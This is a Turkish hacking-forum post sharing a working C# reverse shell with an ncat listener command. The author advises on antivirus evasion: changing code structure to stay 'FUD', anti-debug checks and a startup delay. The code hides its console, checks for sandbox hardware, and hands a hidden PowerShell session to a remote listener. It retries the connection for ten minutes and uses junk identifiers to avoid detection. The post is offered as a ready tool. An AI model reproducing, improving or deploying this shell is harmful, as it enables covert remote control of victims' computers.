- Katılım
- 11 Nis 2022
- Mesajlar
- 260
- Beğeniler
- 151
Hazır programlar kullanıp crypter gibi şeyler kullanmaktansa kodu kendiniz geliştirerek çok sağlam rev shell yazabilirsiniz, her detected olduğunuzda kodun yapısını değiştirdiğinizde tekrardan çok kolay bir şekilde fud yapabilirsiniz ayrıca anti Crâck yani hash check, anti debug gibi özellikler ekleyerek detected edilmesini engelleyebilirsiniz ben server olarak ncat kullandım bağlantı sırasında detected olmuyor ayrıca 10 saniyelik aralık bıraktım runtime checkde detected olmaz süreyi arttırabilirsiniz ek olarak bağlantı koptuğunda veya bağlanılamadığında 10 dakika döngü ekledim 10 dakika içerisinde tekrar server bağlantısını açarsanız hemen bağlanacaktır 10 dakika bağlantı gelmesse kendini kapatır geliştirmemi istediğiniz özellikleri yazabilirsiniz.
Server SIDE ->
nc -lvnp 1337
Client SIDE ->
Server SIDE ->
nc -lvnp 1337
Client SIDE ->
C#:
using System.Management;
using System;
using System.IO;
using System.Net.Sockets;
using System.Diagnostics;
using System.Text;
using System.Threading;
using System.Runtime.InteropServices;
namespace HagbaakagBjJAWDHkGskagabnzhaowysnalay
{
public class ahJAWDKgLAKAGSDWBNSMAHKWNAKSGAJD
{
private static StreamWriter _streamWriter;
private static TcpClient _client;
private static Process _process;
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool FreeConsole();
private static void GAHWAKDALWDaKADGAWaDVAsJkahWHDAWHJDJAWD()
{
try
{
}
catch (Exception ex)
{
}
}
private static void GAHWAKDALWDKADGAWDVAsJkahWHDAWHJDJAWD()
{
try
{
}
catch (Exception ex)
{
}
}
private static void GAHWAKDALWDKADGAawdawdWDVAsJkahWHDAWHJDJAWD()
{
try
{
}
catch (Exception ex)
{
}
}
private static void GAHWAKDALWDKADGAWawdawdDVAsJkahWHDAWHJDJAWD()
{
try
{
}
catch (Exception ex)
{
}
}
private static void GAHWAKDALWadadDKADGAWDVAsJkahWHDAWHJDJAWD()
{
try
{
}
catch (Exception ex)
{
}
}
private static void GAHWAKDALWDKAadaDGAWDVAsJkahWHDAWHJDJAWD()
{
try
{
}
catch (Exception ex)
{
}
}
public static void Main(string[] args)
{
if (!jawfdgvhawbdnAWGHVDHBAWDNahgdvjhbajwnd())
{
Environment.Exit(1);
}
FreeConsole();
try
{
Thread.Sleep(10000);
rest("127.0.0.1", 1337);
}
catch (Exception ex)
{
}
finally
{
NAGAHSDKKEDAWVWAGDJAWDKAWDKAWDGAWDGAWDHAWJDAWJKD();
}
}
private static void rest(string ipAddress, int port)
{
DateTime startTime = DateTime.Now;
TimeSpan retryDuration = TimeSpan.FromMinutes(10);
TimeSpan retryInterval = TimeSpan.FromSeconds(10);
bool connected = false;
while (DateTime.Now - startTime < retryDuration)
{
try
{
if (!connected)
{
HgawdhJFAWDNSKADGADWDNAWDGGAWDH(ipAddress, port);
connected = true;
}
JgjsksgHAKAGSAEDKAWDGAWDK();
}
catch (Exception ex)
{
}
finally
{
if (_client != null && !_client.Connected)
{
connected = false;
NAGAHSDKKEDAWVWAGDJAWDKAWDKAWDGAWDGAWDHAWJDAWJKD();
Thread.Sleep(retryInterval);
}
}
}
if (!connected)
{
Environment.Exit(1);
}
}
private static void HgawdhJFAWDNSKADGADWDNAWDGGAWDH(string ipAddress, int port)
{
_client = new TcpClient(ipAddress, port);
NetworkStream stream = _client.GetStream();
_streamWriter = new StreamWriter(stream) { AutoFlush = true };
_process = new Process
{
StartInfo = new ProcessStartInfo
{
FileName = "powershell",
RedirectStandardOutput = true,
RedirectStandardInput = true,
RedirectStandardError = true,
UseShellExecute = false,
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden
}
};
_process.OutputDataReceived += (sender, e) =>
{
if (!string.IsNullOrEmpty(e.Data))
{
GAHWAKDALWDKADGAWDVAWHDAWHJDJAWD(e.Data);
}
};
_process.Start();
_process.BeginOutputReadLine();
}
private static void JgjsksgHAKAGSAEDKAWDGAWDK()
{
using (StreamReader reader = new StreamReader(_client.GetStream()))
{
string command;
while ((command = reader.ReadLine()) != null)
{
JAWDHAWFDAWKDAKWDGAWDVAWDGAWDMWADGJFAWDAHWJDHJAWDGHAWDWADAWD(command);
}
}
}
private static void JAWDHAWFDAWKDAKWDGAWDVAWDGAWDMWADGJFAWDAHWJDHJAWDGHAWDWADAWD(string command)
{
try
{
if (_process != null && !_process.HasExited)
{
_process.StandardInput.WriteLine(command);
}
}
catch (Exception ex)
{
}
}
private static void GAHWAKDALWDKADGAWDVAWHDAWHJDJAWD(string data)
{
try
{
_streamWriter.WriteLine(data);
}
catch (Exception ex)
{
}
}
private static void GAHWAKDALWDKADGAWDVAsJkahWaHDAWHJDJAWD()
{
try
{
}
catch (Exception ex)
{
}
}
static bool jawfdgvhawbdnAWGHVDHBAWDNahgdvjhbajwnd()
{
try
{
var searcher = new ManagementObjectSearcher("SELECT * FROM Win32_VideoController");
foreach (ManagementObject obj in searcher.Get())
{
return true;
}
}
catch
{
}
return false;
}
private static void NAGAHSDKKEDAWVWAGDJAWDKAWDKAWDGAWDGAWDHAWJDAWJKD()
{
if (_process != null && !_process.HasExited)
{
_process.Kill();
_process.WaitForExit();
}
if (_client != null)
{
_client.Close();
}
if (_streamWriter != null)
{
_streamWriter.Close();
}
}
}
}
Son düzenleme: